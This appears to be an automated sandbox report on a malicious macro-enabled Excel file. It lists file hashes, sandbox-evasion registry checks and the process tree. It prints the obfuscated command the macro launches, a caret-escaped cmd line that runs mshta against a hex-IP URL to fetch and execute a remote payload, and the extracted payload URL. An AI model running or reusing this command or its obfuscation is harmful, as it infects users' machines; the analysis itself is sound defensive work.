Analysis
-
max time kernel
151s -
max time network
143s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
20-01-2022 01:16
Behavioral task
behavioral1
Sample
45236b922fe0452378bcbc300f48a2aae3cdd17a03fbb9411a36e6540e700086.xlsm
Resource
win10-en-20211208
Behavioral task
behavioral2
Sample
45236b922fe0452378bcbc300f48a2aae3cdd17a03fbb9411a36e6540e700086.xlsm
Resource
win10-en-20211208
General
-
Target
45236b922fe0452378bcbc300f48a2aae3cdd17a03fbb9411a36e6540e700086.xlsm
-
Size
115KB
-
MD5
d06323156f9db5ba51e46d368bb05b67
-
SHA1
d3dd5b0885b0a78ff0fbd02acbb95ad7f948fef8
-
SHA256
45236b922fe0452378bcbc300f48a2aae3cdd17a03fbb9411a36e6540e700086
-
SHA512
8de223a9301b905b5839d021a205c78f96b25140bac40e874a6d60b42e55d5cc20e11ce0b9f89b5bcab3515f366a747f2c9dd6c5d806116df11f84010d7c7dec
Malware Config
Extracted
http://0x5cff39c3/sec/se1.html
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1380 2840 cmd.exe 67 -
Blocklisted process makes network request 1 IoCs
flow pid Process 50 3556 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2840 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 20 IoCs
pid Process 2840 EXCEL.EXE 2840 EXCEL.EXE 2840 EXCEL.EXE 2840 EXCEL.EXE 2840 EXCEL.EXE 2840 EXCEL.EXE 2840 EXCEL.EXE 2840 EXCEL.EXE 2840 EXCEL.EXE 2840 EXCEL.EXE 2840 EXCEL.EXE 2840 EXCEL.EXE 2840 EXCEL.EXE 2840 EXCEL.EXE 2840 EXCEL.EXE 2840 EXCEL.EXE 2840 EXCEL.EXE 2840 EXCEL.EXE 2840 EXCEL.EXE 2840 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2840 wrote to memory of 3552 2840 EXCEL.EXE 70 PID 2840 wrote to memory of 3552 2840 EXCEL.EXE 70 PID 2840 wrote to memory of 1380 2840 EXCEL.EXE 71 PID 2840 wrote to memory of 1380 2840 EXCEL.EXE 71 PID 1380 wrote to memory of 3556 1380 cmd.exe 73 PID 1380 wrote to memory of 3556 1380 cmd.exe 73
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\45236b922fe0452378bcbc300f48a2aae3cdd17a03fbb9411a36e6540e700086.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2840 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:3552
-
-
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1380 -
C:\Windows\system32\mshta.exemshta http://0x5cff39c3/sec/se1.html3⤵
- Blocklisted process makes network request
PID:3556
-
-